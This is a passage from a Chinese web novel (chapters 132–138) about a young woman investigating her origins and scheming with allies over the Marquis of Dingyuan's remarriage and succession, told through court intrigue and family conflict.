“先前和你说的话,你必须守口如瓶。本王命数已改之事,不宜外传。”谢翊宁轻咳两声,摆出了一副严肃的姿态。
“王爷放心,我一定不会将此事泄露出去的。若我泄密,天打五雷轰,不得好死。”晏逐星举手一本正经地发誓。
“呸呸呸,童言无忌。”谢翊宁伸手敲了她脑门一下。
晏逐星终于露出了笑意。
什么童言无忌,她马上就要及笄了,都能嫁人了。
想到嫁人,她脑海里又闪过自己先前的那个荒唐念头。
她忍不住用手捂住了自己的脸。
天老爷啊,她刚刚在胡思乱想什么,竟然觉得人家永安王心悦她。
明明人家只是为了报恩啊。
“你怎么了?”谢翊宁有些好奇。
“没事。”晏逐星赶忙摇头。
这要是被王爷知道了,说不定要离她远远的了。
他想报恩,她竟然无耻地认为他心悦她。
晏逐星深吸一口气,决定赌一回。
她一字一句道:“王爷,既然我是您的救命恩人,想必不管我做了什么错事,您都会保住我这条命的,对吧?”
“当然。”谢翊宁毫不犹豫地点头。
旋即,他有些狐疑地打量起晏逐星。
“你干什么错事了?”
“难不成温如霜也是你杀的?”
“当然不是我。”晏逐星果断否认。
等等,什么叫也?
永安王觉得她还杀了谁啊?
他都知道些什么?
“是你也没关系,她就是个拐子,死不足惜。只是你的名声难免会受损。下回若是有想杀的人,你让衔蝉来王府寻照夜,杀人,他是专业的。”谢翊宁絮絮叨叨地嘱咐。
晏逐星心底一阵无语。
但随后又有些不是滋味。
永安王为了一个救命恩人,竟然能做到这样不分青红皂白地维护?
若救命恩人不是她,是别人,他也会对人家那么好吗?
晏逐星摇了摇头,意识到自己想太多了,那些事情与她无关。
她果断开口:“不是的,是有关我的身世。”
生怕谢翊宁再说出什么杀人放火的话来,她赶忙把自己的疑惑说了出来。
“这是温如霜拐带我之时,我手上戴着的镯子,昨日裴大人来调查,发现这是秦王府小郡主的。而那位小郡主,当初被秦王妃带走失踪了。据说年纪和我一般大。”
说完她将随身携带的镯子递给了谢翊宁。
谢翊宁一愣,没想到会从她口中听到“秦王”相关的事情。
他接过镯子仔细打量了起来。
晏逐星在一旁忐忑不安地等着。
片刻后,谢翊宁将镯子还给了晏逐星。
“这确实是秦王府所出的物件没错。”
晏逐星的一颗心瞬间沉到了谷底。
“不过……”
第133章 总该长得像
“不过什么?”晏逐星急了。
谢翊宁掷地有声道:“不过,你绝对不可能是秦王的女儿。”
“为何?”晏逐星愣住了。
“因为你和秦王长得一点也不像啊。”谢翊宁理所当然地开口。
见晏逐星要开口,谢翊宁又补充道:“你和秦王妃也不像,你和他们全家都不像。若是你和他们有半分相似,你以为我父皇母后会看不出来吗?”
谢翊宁的一席话让晏逐星豁然开朗。
是啊。
若她是秦王的女儿,总该和他们长得有几分相似吧。
就算谢翊宁认不出来,总不能皇上皇后也认不出来吧。
皇室之人最为多疑,若她真的和皇家人长得像,不该一个人都没发现。
是她钻牛角尖,先入为主就认定自己一定是秦王的女儿了。
“除非……”谢翊宁拉长了音调,再一次勾起了晏逐星的好奇心。
“除非什么?”
“除非你这张脸是假的,你不长这样。让本王检查一下。”谢翊宁趁机又捏捏她的脸。
诶嘿,手感真好。
晏逐星:!
她怀疑永安王是故意的但她没证据。
谢翊宁见她气鼓鼓的模样,噗嗤笑出了声:“行了,别胡思乱想了。这镯子的来历,我会替你查清楚的。”
“好。”晏逐星乖乖地把镯子交给他,“劳烦王爷了。”
“小事一桩。”谢翊宁收下镯子后,忽然反应过来。
“所以你早就知道你不是关家的女儿?”
“呃……”晏逐星一时间有些卡壳。
想到秦王的事情都说了,关家的事情也没什么不能说的。
她赶忙道:“他们第一天来认亲的时候我就知道了。”
她没有隐瞒,把自己怀疑的点都说了出来,还把李氏曾交代过的话也告诉了谢翊宁。
谢翊宁有些不明白,为何定远侯要将黑锅扣在发妻的身上,这不是也在给侯府抹黑吗?
他将疑惑问了出来。
晏逐星有些尴尬地开口:“他从我这知道了烈国公夫人要给骆表姑找夫婿的事情,恐怕就动了娶新夫人的念头。”
谢翊宁一瞬间就想通了其中的关窍。
定远侯抛弃发妻,于名声有碍。
若是温氏犯了错,他就可以不必守孝,光明正大地迎娶新夫人了。
这么看来,温如霜之死多半和定远侯有关系。
“幸好你搬出来了。”谢翊宁怜惜地看着面前的小姑娘。
有这样一个豺狼虎豹般的父亲,小姑娘在侯府的日子定然过得水深火热。
她若不搬出来,日后阻碍了定远侯的前程,定然也会被他痛下杀手。
发妻都能弃之敝履,何况一个养女。
“总而言之,你是本王的救命恩人,遇事不必太过担忧,有事让衔蝉去王府就好。本王还有事,先走了。”
意识到他们单独相处的时间太长,谢翊宁便提出了离开。
晏逐星应下后,亲自把他送出了府。
谢翊宁并没有马上回王府,而是入宫去了。
“你怎么又来了?”文昭帝看到小儿子就头疼。
上回在太后那闹了一出,他这个当爹的给他收拾了烂摊子。
今日怎么又来了。
不会又惹出什么事了吧。
他还想过个好年呢。
“父皇,儿臣有重大事情要报。”谢翊宁说得一脸认真。
“何事?”文昭帝见他表情严肃,坐直了身子。
谢翊宁将晏逐星的镯子拿了出来,并且将事情的来龙去脉说了一遍。
要查这个镯子,就要涉及当年秦王谋逆一事。
他若私底下派人去查,被有心人知晓从中作梗,往他身上泼脏水,说他要为秦王平反怎么办。
所以这事还得找父皇来办。
文昭帝没想到多年后竟然还能听到秦王的名字。
文昭帝仔细回想着晏逐星的长相,点了点头:“你说得对,她的容貌与秦王和秦王妃,均无相似之处。”
“但也不能完全否认这个可能。毕竟秦王妃和那个小丫头,一直没找到。”
“此事朕会派人去查。”
“多谢父皇。”谢翊宁毫无心理负担地将这事交给了文昭帝。
“就走了?”见他拍拍屁股就要走人,文昭帝不高兴了。
“不然呢。”谢翊宁理直气壮。
“父皇还得陪娘娘们呢,儿臣可不敢打扰。”
从大年初二起,父皇就要轮流陪后宫位分高的妃嫔们单独用膳,夜里还得歇在她们那处。
毕竟人家的娘家人可都看着呢。
总不好厚此薄彼。
父皇一个月有半个月都宿在未央宫,这点时间再不分给后宫妃嫔们,不止父皇要被弹劾,母后也要被说善妒了。
日后他若娶妻,定然只要王妃一人足矣。
什么侧妃,麻烦得很。
当皇帝真惨,连宠幸哪个妃嫔都得顾全大局,不能自由选择。
还好他不用当皇帝。
文昭帝:……
儿子果然知道怎么扎他的心。
想到今夜又要去面对后宫妃嫔,文昭帝就一阵头疼。
*
谢翊宁离开后,晏逐星就收到了侯府那边的消息。
“大小姐,不好了,温家大老爷入京了,如今与侯爷吵起来了。”
“然后呢?”晏逐星有些好奇。
闹了这一出,究竟是谁胜了。
“温家大老爷不承认夫人是拐子,反而称侯爷逼死发妻,一切都是污蔑。如今已经将夫人的尸体带走安葬,嫁妆也全都抬走了,两家当场断了亲。”来人赶忙将后续说出来。
晏逐星在心底隐隐有些羡慕。
温如霜的家人对她倒是重情重义。
“嗯,若有事,你再来报。”她示意衔蝉掏赏银。
“多谢大小姐。”来人拿着赏银美滋滋地回去了。
晏逐星不打算插手此事。
就让温家和定远侯狗咬狗。
有温家人在,定远侯休想轻易娶新夫人。
这个年,她就好好缩在她的小窝里,休养生息。
毕竟留给她的松快时间不多了。
还有几个月阮寄薇腹中的孩子就该出生了,到时候让定远侯写下请封世子的奏折,他就可以去死了。
若定远侯早早死了,晏家族老找上门,她一个养女,阮寄薇一个妾侍,都名不正言不顺,没法出手干预立世子之事。
况且,小小婴孩夭折风险太高,她还是谨慎行事为妙。
就先让定远侯再苟延残喘一段时间吧。
到那时,流光缎应该已经推广开,能让她赚不少钱。
等她攒够了钱,就能囤积粮食、衣物和药品了。
一年后,北境会入侵大虞。
霍将军将率领霍家军和他们打一场苦战。
她前世亲身经历过,知道他们有多艰难。
这一世,她希望霍家军将士们能吃得好些,不用啃草根树皮,也不用因为缺少衣物药品而丧命。
只是她没想到,晏家族人按捺不住的速度比她想象中更快。
第134章 侯府新主母
没两日,侯府又传来了新消息。
“侯爷病了,如今是族长夫人在帮着打理府中庶务。”
“那位夫人给阮姨娘请了大夫把脉,说阮姨娘腹中的是女儿,怂恿侯爷娶新夫人。还给侯爷介绍了她娘家的侄女。”
“阮姨娘想请大小姐回去主持大局。”
晏逐星没想到晏氏一族的人这么迫不及待地就要瓜分定远侯府了。
她略一思索,决定回定远侯府一趟。
一来,定远侯是她的养父,他病了她理当回去探望一二。
二来,她还得回去安安阮寄薇的心,省得她不在,她自乱阵脚出了昏招,被晏氏族人拿到把柄。
三来,她也想试探一下晏氏一族要给定远侯找新夫人,他是什么态度。
那位族长夫人又是什么章程。
是有贼心没贼胆,还是不达目的不罢休。
晏逐星稍一整理,便拎着一些“精心准备”的药材回了定远侯府。
还没见着定远侯,就被人拦住了。
“你回来做什么?”面前微胖的老妇人盯着她,眼里满是警惕。
晏逐星认出了她,这是族长的妻子汪氏。
“父亲病了,我回来看看。”晏逐星不卑不亢地回答。
“你一个外人,有什么资格回来,还喊侯爷父亲,你也配?”汪氏不满地看着晏逐星。
如今侯府没有主母,她代为打理,从中捞了不少好处。
她可不愿意让晏逐星回来。
她已经想好了,日后让娘家侄女嫁给定远侯当续弦,到时候这侯府的家产,都是他们的了。
“侯爷说过,定远侯府永远是我的家,我想什么时候回来就什么时候回来。”晏逐星冷笑。
看来这些时日汪氏捞了不少油水,都得意忘形了。
“林管家,带我去见父亲。”晏逐星没搭理她,径直看向了管家林平。
“是是是,大小姐这边请。”林平可是见过晏逐星扇少爷小姐耳光的。
他可不傻。
大小姐都点他名了,他要是违背她的命令,保管待会他就要吃大嘴巴子了。
侯爷定然不会站在他这边。
族长夫人真是白活了那么多年,连个眉眼高低都辨不出。大小姐就算不是侯爷亲生的,那也还是国公府的义女啊。
哪里是他们能得罪得起的。
见林管家就这样领着晏逐星离开,汪氏气急败坏道:“侯爷都得叫我一声婶婶,你算个什么东西!”
她气恼地跟了上去,想让定远侯好好管教管教这个不知礼数的外人。
“父亲,您身子如何了,可要去请太医?”晏逐星进屋就先关心定远侯。
定远侯听到她这关切的声音,心下一暖。
“不必请太医,我只是被温家那无礼的举动给气着了。”
提起温如璋等人,定远侯的脸色瞬间变得阴沉。
偏偏汪氏这个时候还不长眼地闯了进来。
“侯爷,你可得给我这个婶婶做主啊。”汪氏一进来就哭天喊地。
“这小丫头就算不是咱们晏家的种,也不能对我这般无礼啊。她总该唤我一声叔祖母才是吧。”
定远侯被她哭得脑瓜子嗡嗡地疼。
他现在最怕人家提起晏逐星不是他的孩子,到时候晏逐星与他离了心,那他可就沾不上她半分好处了。
骆文缨他还没娶到手呢!
“住嘴,谁准你这么说我女儿的。”定远侯厉声呵斥。
因为太过大声,还牵动了肺气直咳嗽。
别以为他不知道这位好婶婶打的什么主意,不就是想让她的侄女嫁过来掌控侯府么。
呸。
一群乡下泥腿子也配?
要不是家中丧事需要他们出面,他早就让他们滚回老家去了。
汪氏没想到定远侯竟然会训斥她。
她的夫君不仅是晏氏一族的族长,更是定远侯父亲的亲弟弟,他竟然一点面子也不给她?
“晏逐星是本侯的女儿,此事永远不会改变。”定远侯再次强调。
汪氏不可思议道:“她又不是你的亲生女儿,难不成你日后还要给她置办嫁妆,将侯府的财产分给她?”
“不然呢?不给她难道给你?”
定远侯一句话将汪氏气了个倒仰。
汪氏虽然是这么想的,但话不能这么说出来,她只得咬牙切齿道:“咱们都是晏家人,她一个外来的,你给她,你糊涂啊。”
这时,晏逐星凉凉道:“说起来,这屋子里我与父亲都姓晏,你一个外嫁过来的外姓人,有什么资格指手画脚?”
汪氏气得满脸通红。
“你、你……”
晏逐星说得在理,她一时竟无法反驳。
“我,我不管了。要不是怕咱们晏家的财产被外人抢了,鸿升,我至于跟你说这些掏心掏肺的话么。”汪氏假装抹眼泪,跺跺脚走了。
定远侯懒得搭理她,直接安慰起晏逐星:“星儿,你叔祖母上年纪,老糊涂了,你别听她胡说八道,你永远是父亲的女儿。父亲自然会给你准备嫁妆,让你风风光光出嫁。”
“父亲,我不要什么嫁妆,我只要您好好活着。”晏逐星抹起了眼泪。
“您若不在,还不知道他们要怎么欺负我,欺负阮姨娘肚子里的弟弟呢。”
“我还指望着您将弟弟教导成材,长大之后好给我这个当姐姐的撑腰。”
晏逐星开始给定远侯画大饼。
定远侯听到她这番话,十分感动。
还是女儿好啊,女儿贴心。
他大手一挥,拍着胸脯道:“你放心,等你新母亲入门后,为父定会让她帮你拟一笔丰厚的嫁妆。”
“对了,国公府那边,那位骆姑娘的婚事可有着落了?”
晏逐星听出了他试探的意思,摇头:“尚未。烈国公夫人还在给她相看呢。”
听到骆文缨还没定下人家,定远侯松了一口气。
他继续试探:“你觉得让骆姑娘给你当继母可好?她那样的大家闺秀,定然不会干出苛待你的事情。”
“父亲可是认准了骆表姑?”晏逐星再一次试探。
“自然是认定了她。”定远侯露出一副向往的表情,“骆姑娘为霍少将军守身如玉,为父佩服不已,若能迎娶佳人,定珍之重之。”
晏逐星没说话。
定远侯又道:“星儿,不若你替父亲在烈国公夫人面前美言几句,让骆姑娘嫁到咱们侯府来。她若嫁过来,这侯府便任由她当家做主,我绝无二话。”
晏逐星微不可察地皱了一下眉,但转瞬即逝。
她笑着点了点头:“我也很喜欢骆表姑。若是她能嫁到侯府来,侯府定然会愈发兴旺。咱们与国公府的关系也会更加密切。等会儿我就去烈国公府,同义母商议此事。”
第135章 想见祝姑娘
见她这么说,定远侯笑得几乎要合不拢嘴了。
“还是星儿懂事。”
他贴心地询问起晏逐星在外边住得如何,可要搬回侯府。
晏逐星摇头拒绝,但哭诉了一下自己囊中羞涩,都不好跟各家千金出门交际了。
“裴芜还让我陪她去看戏,可女儿的银钱,都给父亲买人参了。等会儿还要给国公府送年礼,女儿……”
她做出了一副难以启齿的表情。
定远侯大吃一惊,这才搬出去几天,他不是给了五百两银子么。怎么那么快就没了?
“这可是百年山参,我求了许多人牵线搭桥才买回来的,就想着孝顺父亲呢。”
晏逐星将自己带来的“百年山参”拿了出来。
这是她这几日请关家夫妇帮忙采买的假货。
这些奸商将普通山参的芦头切断,嫁接在年份短身形差的野山参上,伪造出百年老参特有的雁脖芦。
而后又用胶黏合接口,裹上泥炭烘烤作旧使接缝处生出假纹路。
若非专业人士,根本就看不出来,足以以假乱真。
她提早备下这东西,就是为了糊弄讨厌的人。
今日送给定远侯正正好。
果不其然,定远侯听到她知道自己病了,特意为自己买了百年野山参,感动不已,当即就让林管家开库房。
“送国公府的年礼,怎么能让你自己备下呢。你去库房里只管挑好东西送去。”
而后又让林管家支五百两银票给晏逐星。
管家欲言又止。
短短几日就给大小姐支了一千两银子,这可是侯府最挣钱的铺子大半年的营收啊。
照大小姐这么个花法,侯府迟早要被她给败光。
但看着大小姐的死亡凝视,管家识趣地没有把这事说出口。
晏逐星毫无愧疚地收下了这些好东西。
她不方便直接去见阮姨娘,便让九栀去安了安她的心。
“不要自乱阵脚,族长夫人不必理会,好好养胎就是。万事有大小姐在,你的荣华富贵不远了。”
临走前,晏逐星特意提醒了定远侯。
“女儿只能尽力帮父亲美言,但国公府那边会不会答应,女儿可就不知道了。”
“我相信有星儿的美言,他们定然会答应。”定远侯露出了势在必得的笑容。
“即便他们不答应,我也有法子让他们瞧见我的诚心,让骆姑娘嫁给我。”
定远侯的“诚心”二字说得意味深长。
晏逐星不动声色地点了点头,随后听从了定远侯的建议,让侯府马夫驾车将她送去了烈国公府。
尉迟敦看见她,高兴不已。
“星儿妹妹!”
他现在已经能很好的区分星儿妹妹和晞儿妹妹了。
晏逐星命人将礼物搬了下来,随后陪着尉迟敦玩了两刻钟,玩到他累了要睡午觉了,这才与烈国公夫人闲谈。
见她愁眉不展,晏逐星询问道:“义母可是有烦心事?”
“唉,还不是你尉迟姑婆,大夫说她时日无多,恐怕只有不足一个月的时间了。”烈国公夫人叹了一口气。
“她最大的愿望就是看着你骆表姑嫁人成家。可事到如今,一个好夫婿哪是那么好找的。总不能为了让她嫁人,就随便给她找一个夫婿吧。”
“那岂不是将她推进火坑了。”
晏逐星赞同地点了点头。
她想起定远侯说的话,赶忙提醒道:“义母,您千万要提醒骆表姑注意。定远侯他在打骆表姑的主意。”
晏逐星没有隐瞒,将定远侯想要娶骆文缨的事情说了。
同时,还把温如霜被定远侯逼得自尽的事情说了。
“他能对发妻下毒手,绝对不能让骆表姑嫁给他。而且,您不觉得定远侯府风水不好么。接连死了那么多人,保不准定远侯过些时日也要没命了。”
晏逐星委婉暗示。
她在马车上越琢磨越觉得定远侯最后那句话有深意。
想到定远侯能对发妻下毒手,泼脏水,还能将亲生儿子推入火坑。这样的人,为达目的不择手段。
他若真的想要娶骆文缨,说不定会出各种阴招。
因而她路上便想了一个新主意。
只要骆文缨这些时日不出门,不给定远侯接触她的机会,她就有办法让定远侯断了念想。
“原来温大人说的事情,竟然是真的?”烈国公夫人瞪大了眼睛。
定远侯府和温家闹出官司的事情早就在京城里传遍了,她压根没考虑过让骆文缨嫁过去。
先不说温氏到底是不是定远侯逼死的,光是他们家那倒霉的风水,就没人想沾边。
她可不希望小表妹嫁过去就被连累得香消玉殒了。
但她没想到定远侯竟然能心狠手辣到这种地步。
“你搬出侯府,是不是与此事有关?”烈国公夫人满脸担忧。
晏逐星点了点头:“义母无需担忧,如今我过得很好。”
“那就好。”烈国公夫人长长地吐了一口气。
还好这孩子搬出来了。
要是还留在侯府里,说不定也要被倒霉的定远侯府一家给连累。
瞧瞧这几个月定远侯府出了多少条命案了。
星儿至今没有出事,一定是因为她不是定远侯亲生的缘故。
说不定是定远侯祖坟出问题,全报应到他们身上了。
烈国公夫人一不小心就把心里话说了出来。
晏逐星莞尔一笑:“义母说得对,可不就是报应么。”
晏逐星借着骆文缨的事情,不着痕迹地跟烈国公夫人打听起了京中有哪些大龄待嫁的姑娘,试图从其中找到一些符合自己要求的人选。
没想到,还真让她打听到了。
有一个叫祝红玉的姑娘,完美符合她的要求。
就是不知道对方愿不愿意合作了。
晏逐星心下暗暗做出了决定,得想办法见一见那位祝姑娘。
只是她没想到,她还没偶遇到祝红玉,骆文缨就找上门来了。
她一开口,晏逐星就怀疑自己的耳朵是不是出问题,听错了。
第136章 当丧夫主母
“你是不是想给定远侯找续弦,我可以。”
骆文缨一脸平静。
晏逐星反倒急了,她火急火燎道:“骆表姑,定远侯不是好人,义母没跟您说吗,他逼死了温氏……”
骆文缨笑了,抬手打断了她的话。
“我都知道。表嫂也已经告诉我了,让我这些时日不要出门,不要和定远侯有交集。”
“那你为何还想嫁他?”晏逐星想不明白。
“我谁也不想嫁。”骆文缨耸了耸肩。
世人皆以为她是为霍光守节,实际上她只是单纯地不想嫁人罢了。
她与霍光是娃娃亲,两人见面的次数少之又少,他们之间并没有什么感情。
得知霍光战死沙场,她替他惋惜,替霍夫人难过,但也仅此而已了。
女子若嫁人,就要侍奉公婆,养育孩子。
她会变成别人的妻子,别人的母亲,别人的嫂嫂,但她很难再成为她自己。
她自小看着母亲为一大家子操劳,为婆媳关系,妯娌关系,姑嫂关系而落了太多眼泪。
这实在是太辛苦了。
她不想过那样的日子,她只想一个人逍遥自在地活着。
她有武艺,有手艺,也有铺子能养活自己,为何要去嫁人。
霍光死后,纵使霍家人没有让她过门,她也以为他守节为由,拒绝了爹娘让她嫁人的要求。
每逢过年过节还有霍光的忌日,她都会给他上香,感谢他当了这么多年的挡箭牌,让她过上了不用嫁人在家轻松自在享福的日子。
只是这些行径落在家里人眼中,就成了她对霍光用情至深,不愿再嫁他人的证据。
因而家中人再也没有催促她嫁人。
只是现下母亲危在旦夕,临死前的心愿就是看她出嫁。
她实在是不忍让母亲伤心,终于还是决定找一个人嫁了。
只是她这个年纪,能找的都是娶续弦的。
年纪相仿的少之又少。
为了找个人嫁了,她甚至连六七十岁的老头子都考虑了。
这么大岁数,公公婆婆都死绝了,等她嫁过去,人家说不定两腿一蹬没几天就死了,她就又可以继续逍遥自在生活了。
可表哥和表嫂坚决不同意。
嫁那样的人,母亲怕是要死不瞑目。
表兄也给她找了一些家境贫寒尚未娶妻的大龄将士。
他们与她相看时,眼里并无对她的欣赏,只有攀附上国公府的喜悦。
毕竟在他们看来,她三十二都没嫁出去,是个老姑娘,有人娶就该偷着乐了。
一想到嫁过去之后定然要替他们操持家务,侍奉婆母,甚至还要借着表兄一家为他们谋前程。
她就不想嫁了。
故而昨日表嫂将定远侯觊觎她的事情告知她,她左思右想,竟然觉得这是个不错的去处。
至少定远侯长相年龄看起来都与她般配,母亲见了也能安心离去。
而且上无公婆要侍奉,下无子女要教养,嫁过去轻松得很。
骆文缨将自己心里的真实想法说了出来。
不知道为何,她总觉得这个年龄不到她一半大的小姑娘能理解她。
晏逐星万万没算到骆文缨是这样一个想法,一时间惊呆了。
“表姑真是奇女子。”她喃喃自语。
“这有什么奇不奇的。”骆文缨笑了。
“想嫁人没错,不想嫁人也没错,不过是各自的选择罢了。”
“只要能对自己的选择负责,不要后悔就好。”
她还有别的话没说出来,怕吓着面前的小姑娘。
她想的是她会武功,有表哥表嫂撑腰,定远侯又需要她,定然不敢对她下毒手。
她嫁过去之后,以为母亲守孝为由拒绝同房,想必定远侯也无话可说。
待到一年后,按照定远侯府的倒霉程度,定远侯说不定早就死了。
若是定远侯没死,那她便与他商议做一对契约夫妻。
他可以随意纳姨娘,只要不影响她当家主母的地位就好。
若定远侯不同意,想要霸王硬上弓,她也不介意送他一程。
这种逼死发妻的男人,死了就死了。
反正当徒有虚名的侯门主母,和当丧夫的侯门主母,对她来说没有区别。
“此事你得跟义父义母再商议商议,这个节骨眼上若是你嫁到定远侯府,恐怕会惹来非议。温家很可能把脏水泼到你身上。”晏逐星提醒。
骆文缨也想到了这一点。
温家人对温如霜的死不服,只是如今她身上扣着拐带孩童的罪名,不好洗清。
但若是他们将温如霜之死,扣在她头上,说她与定远侯早有私情,蓄意谋害温如霜上位。
或许有人就会相信了。
“无妨,我急着嫁人的事情早就传遍了京城。京城不是温家的一言堂,还轮不到他们想怎么说就怎么说。”骆文缨不慌不忙地开口。
“只要定远侯上门求娶,表兄表嫂当众拒绝。旁人就知道此事与我无关了。”
“而后他一而再再而三求娶,表兄表嫂被他诚意所感动,而我的母亲也即将病逝,为了冲喜,我嫁给他,合情合理。”
晏逐星没想到她已经考虑得那么长远了。
但她还是觉得骆文缨这样的女子配定远侯实在是可惜了。
骆文缨看出了她想要劝解的意思,斩钉截铁道:“你无需多劝,我今日来是希望你能帮我一起说服表嫂。有你帮着劝,她一定会答应,进而替我说服爹娘。”
晏逐星没想到骆文缨看着文文静静很好说话的样子,实际上竟然这么有主见。
她叹了一口气:“我昨日才劝义母不要让您嫁过去,今日再改口,你觉得她能听我的吗?”
“能!怎么不能!”骆文缨对她寄以厚望。
“你连敦儿都能安抚好,说服表嫂岂不是轻轻松松的事。”
“日后我成了你的继母,保准护着你,再给你挑一门好亲事。若你像我一般不愿意嫁人,我也不会逼你,你可以留在侯府一辈子。反正我的嫁妆丰厚得很,养得起你。”
晏逐星听到这话,一瞬间竟然有些心动了。
很明显骆文缨当上侯府主母之后不会干涉她,比没有接触的祝红玉来说要靠谱得多。
“骆表姑,你让我好好想想。”晏逐星还是没敢马上答应下来。
“你不是都派人去打听祝红玉了么,为什么她可以我不行?”骆文缨很是不解。
第137章 退婚的理由
晏逐星一时间哽住了。
她不知道该怎么跟骆文缨解释。
她找祝红玉,是想要定远侯死。
祝红玉乃是五军营佐击将军祝祷之女,今年二十二,被退婚后至今未嫁人。
她被退婚的理由在京中那也是百年难得一见。
未婚夫逛青楼被她撞见,不但不认错,还嘴硬说男人风流点很正常。
祝红玉听完当场就把人揍了一顿,这门亲事自然黄了。
她这种眼里容不得沙子的性格,正好是晏逐星想要的。
祝红玉的父亲祝祷虽只是从四品的五军营佐击将军,官阶不算高,但手握京城精锐,且众所周知他十分疼爱祝红玉这个女儿。
这两年一直在给女儿相看,但迟迟没有找到合适的。
背地里不知道被多少人笑话他养了个嫁不出去的老姑娘。
祝红玉不愿父亲被人嘲笑,也想嫁人,但有她当街暴揍未婚夫的那件往事在,很少有人愿意与他们结亲。
故而一直耽误到了现在。
晏逐星打算和祝红玉谈妥之后,请烈国公夫人做媒,自己再从中说合。
她会向定远侯暗示,有了她和国公府这层利益关联已经足够,不必再强求其他,不如与祝家联姻。
想必以定远侯的性子,只要见面时祝红玉稍微放软姿态,再加上她的游说,定远侯就不会拒绝这门婚事。
事成之后,阮寄薇的孩子生下来,就会养到祝红玉名下。
成为名正言顺的嫡子,继承侯府。
但这个合作未必能成,成了之后祝红玉也未必会一直与她合作。
毕竟她才二十二。
她若想自己生一个孩子继承侯府怎么办。
因而晏逐星只把这当做一个临时过渡的计划。
她可以先用这桩婚事稳住定远侯,让他不要打骆文缨的主意。
将婚事推迟到半年后,届时他死了,这桩婚事也可以不了了之。
如今骆文缨主动提出要嫁定远侯,将其视若棋子,倒是比祝红玉更合适。
“你怎么不说话了?”骆文缨见她迟迟不语,忍不住追问。
“骆表姑,说句大逆不道的,我给定远侯找夫人并非为了他好。”晏逐星半真半假地开口了。
“当初温如霜将我拐回家,我不信他毫不知情。他如今不过是瞧见义父义母对我好,我有利用价值,所以才哄着我罢了。”
“当初温氏与晏家兄妹折辱我之时,他冷眼旁观,甚至还火上浇油。”
“他如今想娶妻,我便想找一个能与我合作之人,不让他的日子过得太痛快,出出我心头的恶气。”
晏逐星说得十分委婉。
骆文缨眼前一亮。
她就喜欢这种有仇报仇,有恩报恩的性子。
“我可以。你想怎么合作,我都答应你。”她一把握住了晏逐星的手。
“你我各有所求,此事乃是双赢!”
晏逐星被她这句话打动了,最终还是答应帮她说服烈国公夫人。
“表姑若是嫁过去,还需将阮姨娘腹中的孩子记在名下。”晏逐星将自己的打算说了出来。
骆文缨痛快答应。
她不想给人生孩子,但也不介意养个孩子玩玩。
这样日后一个人也不会太寂寞。
“此事还需快些,我阿娘怕是坚持不了多久了。”骆文缨嘱咐。
晏逐星点点头,而后道:“义母那边,我没太大把握能说服她。但我觉得你可以实话实说,将你心里的想法告知她。”
“她替你择夫婿这般慎重,是因为她关心你,爱护你,不忍你受委屈。”
“你将实话说出来,她知晓你的心意,便不会再强求。”
骆文缨没想到她会提出这个建议。
思索片刻后决定还是听从她的提议。
“好,我试试看。但是你还是得帮帮我,不然就我一个人,我怕说服不了表兄表嫂。”
“没问题。”晏逐星痛快答应了。
接下来几天,晏逐星为了骆文缨的婚事频繁往烈国公府走动。
两人轮番上阵,骆文缨将心里话坦白,晏逐星举手发誓一定会照顾好她。
在她们的软磨硬泡下,烈国公夫妇松口了。
毕竟骆文缨母亲真的时日无多了。
有了他们的许可,以及骆文缨本人应允,晏逐星回了一趟定远侯府,将他们的意思委婉透露给了定远侯。
定远侯欣喜若狂,看向晏逐星的眼神仿佛看绝世珍宝。
这个捡回来的女儿可比亲生的顶用多了。
定远侯甚至有些懊恼当初怎么没多收养几个女儿。
反正养孩子又不费多少钱,侯府也不缺他们一口吃的,养大了若能像晏逐星一般结交贵人,给侯府回报,那也不算吃亏。
“不过父亲,您若想得到国公府的首肯,还是不能让温家人把脏水泼到骆表姑身上。”晏逐星提醒。
“哼。我们定远侯府早已与温家恩断义绝,我要娶妻,他们管得着么。”定远侯冷哼。
想到他马上要娶到烈国公的表妹,定远侯感觉自己的腰杆都挺直了。
“你放心,我一定会拿出最大的诚意,让所有人知道,是我主动求娶骆姑娘。”定远侯略一沉思,就有了主意。
正月十五就要到了。
届时骆文缨定然会出去赏花灯散心,他可以当着很多人的面制造一个偶遇,然后请人去打听偶遇的人是谁。
借由第三方的口将他对骆文缨一见钟情的事情宣扬出去。
而后,再登门求娶。
国公府拒绝也不要紧,他再请冰人登门就是。
来回两次就差不多了,毕竟听说骆文缨的母亲撑不了多久了。
到时候所有人都知道,骆文缨是为了满足母亲遗愿嫁给他的,温家人休想给温如霜的死翻案。
那个毒妇,死了也是活该。
“父亲心中有主意就好。”晏逐星反复跟他确认好他的打算后,便回了自己的宅邸。
一进门,九栀便压低声音附耳道:“小姐,府外有人盯着您,已有数日。”
晏逐星顿时有些疑惑,谁会盯着她呢。
难不成是温家人?
第138章 彻底起杀心
“可查清是谁了?”晏逐星沉声询问。
“那些人虽然伪装成了菜贩子,倒夜香的,卖小馄饨的,轮流盯梢。但奴婢已经查清,他们都出自朝华大长公主府。”
九栀一句话让晏逐星警惕了。
朝华大长公主盯她做什么。
难不成那日在长乐宫,她一个在边边角角看戏的被记恨上了?
朝华大长公主不敢动谢翊宁,所以准备拿她这个没有背景的“商户之女”撒气?
晏逐星全然没想到朝华大长公主府的那些下人盯着她,与永安王无关,反倒是与裴明镜有关。
她当即将衔蝉叫来,让她去永安王府走一趟。
此事因谢翊宁而起,自然要找谢翊宁帮忙。
她才不会逞强。
万一中了大长公主府的阴招,她未必还有重活一次的好运道。
衔蝉听完她的吩咐,脸色顿时变得严肃。
“奴婢这就去找王爷。”
“小姐,那咱们接下来该怎么办?”九栀忍不住追问。
“等。等他们按捺不住,等永安王查清。”晏逐星十分淡定。
这些日子跑来跑去的快累死她了。
“对了,小姐还有一件重要的事。”见晏逐星要躺下,九栀赶紧汇报。
“还有什么事?”
“宋氏腹中的胎儿,已经请好几个大夫都诊过了,都说是女儿。”九栀赶紧将这事说出来、
晏逐星听完眉头皱了起来。
她当初答应过王素娥,会给她的弟媳妇宋氏腹中的孩子谋一个好前程。
当时想的是,她这腹中若是儿子,那就是定远侯府未来的世子。
可如今却是个女儿,她还得想法子找个男孩来。
否则定远侯死后,侯府的财产可就得分给族人了。
她答应过阮寄薇,要让她当未来侯府主人的生母,要让她享受一辈子侯府的荣华富贵。
此事不能食言。
“我知道了。”晏逐星略一沉思,让人将关万海夫妇请了过来。
“你二人在京中呆了许久,也该归家了。”
听到这话,关万海夫妇差点喜极而泣,连忙点头:“是呀,是呀。我们该回家了。”
